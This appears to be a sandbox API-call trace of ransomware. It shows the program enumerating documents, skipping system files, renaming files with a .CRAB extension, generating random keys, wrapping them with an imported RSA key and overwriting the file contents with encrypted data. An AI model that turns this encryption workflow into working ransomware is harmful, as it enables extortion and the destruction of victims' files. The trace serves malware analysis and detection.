	[0128.351] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\o41qdsUZfnIWVRmDgFd.rtf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\o41qdsuzfniwvrmdgfd.rtf")) returned 0x20
	[0128.351] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\o41qdsUZfnIWVRmDgFd.rtf", dwFileAttributes=0x20) returned 1
	[0128.351] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\o41qdsUZfnIWVRmDgFd.rtf" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\o41qdsuzfniwvrmdgfd.rtf"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\o41qdsUZfnIWVRmDgFd.rtf.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\o41qdsuzfniwvrmdgfd.rtf.crab")) returned 1
	[0128.352] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0128.353] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\o41qdsUZfnIWVRmDgFd.rtf.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\o41qdsUZfnIWVRmDgFd.rtf.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\o41qdsUZfnIWVRmDgFd.rtf.CRAB"
	[0128.353] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\o41qdsUZfnIWVRmDgFd.rtf.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\o41qdsUZfnIWVRmDgFd.rtf.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\o41qdsUZfnIWVRmDgFd.rtf.CRAB.CRAB"
	[0128.353] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6e5a0) returned 1
	[0128.355] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0128.356] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0128.356] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0128.356] CryptGenRandom (in: hProv=0xd6e5a0, dwLen=0x10, pbBuffer=0x314bec4 | out: pbBuffer=0x314bec4) returned 1
	[0128.356] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0128.356] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.356] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6e408) returned 1
	[0128.359] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0128.359] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0128.359] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0128.359] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x20, pbBuffer=0x314bea0 | out: pbBuffer=0x314bea0) returned 1
	[0128.359] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0128.359] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.360] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0128.360] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0128.360] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6e408) returned 1
	[0128.363] CryptImportKey (in: hProv=0xd6e408, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x318f6b8) returned 1
	[0128.363] CryptGetKeyParam (in: hKey=0x318f6b8, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0128.363] CryptEncrypt (in: hKey=0x318f6b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314bed4*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314bed4*=0x100) returned 1
	[0128.364] GetLastError () returned 0x0
	[0128.364] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0128.364] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6e6b0) returned 1
	[0128.366] CryptImportKey (in: hProv=0xd6e6b0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x318fb38) returned 1
	[0128.366] CryptGetKeyParam (in: hKey=0x318fb38, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0128.366] CryptEncrypt (in: hKey=0x318fb38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314bed8*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314bed8*=0x100) returned 1
	[0128.367] GetLastError () returned 0x0
	[0128.367] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0128.367] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\o41qdsUZfnIWVRmDgFd.rtf.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\o41qdsuzfniwvrmdgfd.rtf.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0128.367] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0128.368] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0128.368] ReadFile (in: hFile=0x3f0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314bf1c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314bf1c*=0xbec9, lpOverlapped=0x0) returned 1
	[0128.379] VirtualAlloc (lpAddress=0x0, dwSize=0xbed0, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0128.380] VirtualAlloc (lpAddress=0x0, dwSize=0xbed0, flAllocationType=0x3000, flProtect=0x4) returned 0x310000
	[0128.382] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.382] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xffff4137, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.382] WriteFile (in: hFile=0x3f0, lpBuffer=0x310000*, nNumberOfBytesToWrite=0xbed0, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x310000*, lpNumberOfBytesWritten=0x314bf0c*=0xbed0, lpOverlapped=0x0) returned 1
	[0128.382] VirtualFree (lpAddress=0x310000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.383] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.386] WriteFile (in: hFile=0x3f0, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0128.386] WriteFile (in: hFile=0x3f0, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0128.387] WriteFile (in: hFile=0x3f0, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314bf0c*=0x8, lpOverlapped=0x0) returned 1
	[0128.387] CloseHandle (hObject=0x3f0) returned 1
	[0128.387] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.387] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.387] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.388] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.388] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.388] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.388] FindNextFileW (in: hFindFile=0x318ef78, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 1
	[0128.388] lstrcmpW (lpString1="W1wM4.xls", lpString2=".") returned 1
	[0128.388] lstrcmpW (lpString1="W1wM4.xls", lpString2="..") returned 1
	[0128.388] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\", lpString2="W1wM4.xls" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\W1wM4.xls") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\W1wM4.xls"
	[0128.388] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0128.389] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\W1wM4.xls") returned 63
	[0128.389] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\W1wM4.xls") returned 63
	[0128.389] lstrlenW (lpString=".xls") returned 4
	[0128.389] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0128.389] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".xls ") returned 5
	[0128.389] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.389] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\W1wM4.xls") returned 63
	[0128.389] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\W1wM4.xls") returned 63
	[0128.389] lstrcmpiW (lpString1="W1wM4.xls", lpString2="desktop.ini") returned 1
	[0128.389] lstrcmpiW (lpString1="W1wM4.xls", lpString2="autorun.inf") returned 1
	[0128.389] lstrcmpiW (lpString1="W1wM4.xls", lpString2="ntuser.dat") returned 1
	[0128.389] lstrcmpiW (lpString1="W1wM4.xls", lpString2="iconcache.db") returned 1
	[0128.389] lstrcmpiW (lpString1="W1wM4.xls", lpString2="bootsect.bak") returned 1
	[0128.389] lstrcmpiW (lpString1="W1wM4.xls", lpString2="boot.ini") returned 1
	[0128.389] lstrcmpiW (lpString1="W1wM4.xls", lpString2="ntuser.dat.log") returned 1
	[0128.389] lstrcmpiW (lpString1="W1wM4.xls", lpString2="thumbs.db") returned 1
	[0128.389] lstrcmpiW (lpString1="W1wM4.xls", lpString2="CRAB-DECRYPT.txt") returned 1
	[0128.389] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0128.390] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\W1wM4.xls.CRAB") returned 68
	[0128.390] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\W1wM4.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\w1wm4.xls")) returned 0x20
	[0128.390] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\W1wM4.xls", dwFileAttributes=0x20) returned 1
	[0128.390] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\W1wM4.xls" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\w1wm4.xls"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\W1wM4.xls.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\w1wm4.xls.crab")) returned 1
	[0128.392] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0128.392] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\W1wM4.xls.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\W1wM4.xls.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\W1wM4.xls.CRAB"
	[0128.392] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\W1wM4.xls.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\W1wM4.xls.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\W1wM4.xls.CRAB.CRAB"
	[0128.393] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6ed98) returned 1
	[0128.395] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0128.396] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0128.396] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0128.396] CryptGenRandom (in: hProv=0xd6ed98, dwLen=0x10, pbBuffer=0x314bec4 | out: pbBuffer=0x314bec4) returned 1
	[0128.396] CryptReleaseContext (hProv=0xd6ed98, dwFlags=0x0) returned 1
	[0128.396] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.396] CryptAcquireContextW (in: phProv=0x314bd88, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd88*=0xd6e6b0) returned 1
	[0128.399] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2d0000
	[0128.399] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0128.399] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0128.399] CryptGenRandom (in: hProv=0xd6e6b0, dwLen=0x20, pbBuffer=0x314bea0 | out: pbBuffer=0x314bea0) returned 1
	[0128.399] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0128.399] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.400] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0128.400] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0128.400] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6eb78) returned 1
	[0128.403] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x318f8b8) returned 1
	[0128.403] CryptGetKeyParam (in: hKey=0x318f8b8, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0128.403] CryptEncrypt (in: hKey=0x318f8b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314bed4*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314bed4*=0x100) returned 1
	[0128.403] GetLastError () returned 0x0
	[0128.403] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0128.403] CryptAcquireContextW (in: phProv=0x314bd78, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314bd78*=0xd6ec00) returned 1
	[0128.406] CryptImportKey (in: hProv=0xd6ec00, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314bd74 | out: phKey=0x314bd74*=0x318f8f8) returned 1
	[0128.406] CryptGetKeyParam (in: hKey=0x318f8f8, dwParam=0x8, pbData=0x314bd64, pdwDataLen=0x314bd6c, dwFlags=0x0 | out: pbData=0x314bd64*=0x800, pdwDataLen=0x314bd6c*=0x4) returned 1
	[0128.406] CryptEncrypt (in: hKey=0x318f8f8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2e0000*, pdwDataLen=0x314bed8*=0xc8, dwBufLen=0x800 | out: pbData=0x2e0000*, pdwDataLen=0x314bed8*=0x100) returned 1
	[0128.406] GetLastError () returned 0x0
	[0128.407] CryptReleaseContext (hProv=0xd6ec00, dwFlags=0x0) returned 1
	[0128.407] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\q8CbS\\W1wM4.xls.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\q8cbs\\w1wm4.xls.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f0
	[0128.407] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0128.408] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x3360000
	[0128.408] ReadFile (in: hFile=0x3f0, lpBuffer=0x3360000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314bf1c, lpOverlapped=0x0 | out: lpBuffer=0x3360000*, lpNumberOfBytesRead=0x314bf1c*=0x148ae, lpOverlapped=0x0) returned 1
	[0128.458] VirtualAlloc (lpAddress=0x0, dwSize=0x148b0, flAllocationType=0x3000, flProtect=0x4) returned 0x300000
	[0128.459] VirtualAlloc (lpAddress=0x0, dwSize=0x148b0, flAllocationType=0x3000, flProtect=0x4) returned 0x320000
	[0128.461] VirtualFree (lpAddress=0x300000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.462] SetFilePointerEx (in: hFile=0x3f0, liDistanceToMove=0xfffeb752, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0128.462] WriteFile (in: hFile=0x3f0, lpBuffer=0x320000*, nNumberOfBytesToWrite=0x148b0, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x320000*, lpNumberOfBytesWritten=0x314bf0c*=0x148b0, lpOverlapped=0x0) returned 1
	[0128.462] VirtualFree (lpAddress=0x320000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.463] VirtualFree (lpAddress=0x3360000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.467] WriteFile (in: hFile=0x3f0, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0128.467] WriteFile (in: hFile=0x3f0, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314bf0c*=0x100, lpOverlapped=0x0) returned 1
	[0128.467] WriteFile (in: hFile=0x3f0, lpBuffer=0x2f0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314bf0c, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesWritten=0x314bf0c*=0x8, lpOverlapped=0x0) returned 1
	[0128.467] CloseHandle (hObject=0x3f0) returned 1
	[0128.467] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.468] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.468] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.468] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.468] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.469] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.469] FindNextFileW (in: hFindFile=0x318ef78, lpFindFileData=0x314c768 | out: lpFindFileData=0x314c768) returned 0
	[0128.469] FindClose (in: hFindFile=0x318ef78 | out: hFindFile=0x318ef78) returned 1
	[0128.469] FindNextFileW (in: hFindFile=0x318e8b8, lpFindFileData=0x314d210 | out: lpFindFileData=0x314d210) returned 1
	[0128.469] lstrcmpW (lpString1="Sv1MjQVXPGT3ix5d RV.doc", lpString2=".") returned 1
	[0128.469] lstrcmpW (lpString1="Sv1MjQVXPGT3ix5d RV.doc", lpString2="..") returned 1
	[0128.469] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\", lpString2="Sv1MjQVXPGT3ix5d RV.doc" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\Sv1MjQVXPGT3ix5d RV.doc") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\Sv1MjQVXPGT3ix5d RV.doc"
	[0128.469] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0128.470] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\Sv1MjQVXPGT3ix5d RV.doc") returned 71
	[0128.470] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\Sv1MjQVXPGT3ix5d RV.doc") returned 71
	[0128.470] lstrlenW (lpString=".doc") returned 4
	[0128.470] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0128.470] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".doc ") returned 5
	[0128.470] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0128.470] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\Sv1MjQVXPGT3ix5d RV.doc") returned 71
	[0128.470] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\Sv1MjQVXPGT3ix5d RV.doc") returned 71
	[0128.470] lstrcmpiW (lpString1="Sv1MjQVXPGT3ix5d RV.doc", lpString2="desktop.ini") returned 1
	[0128.470] lstrcmpiW (lpString1="Sv1MjQVXPGT3ix5d RV.doc", lpString2="autorun.inf") returned 1
	[0128.470] lstrcmpiW (lpString1="Sv1MjQVXPGT3ix5d RV.doc", lpString2="ntuser.dat") returned 1
	[0128.470] lstrcmpiW (lpString1="Sv1MjQVXPGT3ix5d RV.doc", lpString2="iconcache.db") returned 1
	[0128.470] lstrcmpiW (lpString1="Sv1MjQVXPGT3ix5d RV.doc", lpString2="bootsect.bak") returned 1
	[0128.470] lstrcmpiW (lpString1="Sv1MjQVXPGT3ix5d RV.doc", lpString2="boot.ini") returned 1
	[0128.470] lstrcmpiW (lpString1="Sv1MjQVXPGT3ix5d RV.doc", lpString2="ntuser.dat.log") returned 1
	[0128.470] lstrcmpiW (lpString1="Sv1MjQVXPGT3ix5d RV.doc", lpString2="thumbs.db") returned -1
	[0128.470] lstrcmpiW (lpString1="Sv1MjQVXPGT3ix5d RV.doc", lpString2="CRAB-DECRYPT.txt") returned 1
	[0128.470] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0128.471] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\Sv1MjQVXPGT3ix5d RV.doc.CRAB") returned 76
	[0128.471] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\Sv1MjQVXPGT3ix5d RV.doc" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\sv1mjqvxpgt3ix5d rv.doc")) returned 0x20
	[0128.471] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\Sv1MjQVXPGT3ix5d RV.doc", dwFileAttributes=0x20) returned 1
	[0128.471] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\Sv1MjQVXPGT3ix5d RV.doc" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\sv1mjqvxpgt3ix5d rv.doc"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\Sv1MjQVXPGT3ix5d RV.doc.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\ci3jryhf0yy9cjn\\sv1mjqvxpgt3ix5d rv.doc.crab")) returned 1
	[0128.472] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0128.472] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\Sv1MjQVXPGT3ix5d RV.doc.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\Sv1MjQVXPGT3ix5d RV.doc.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Documents\\ci3jryHf0yy9CjN\\Sv1MjQVXPGT3ix5d RV.doc.CRAB"
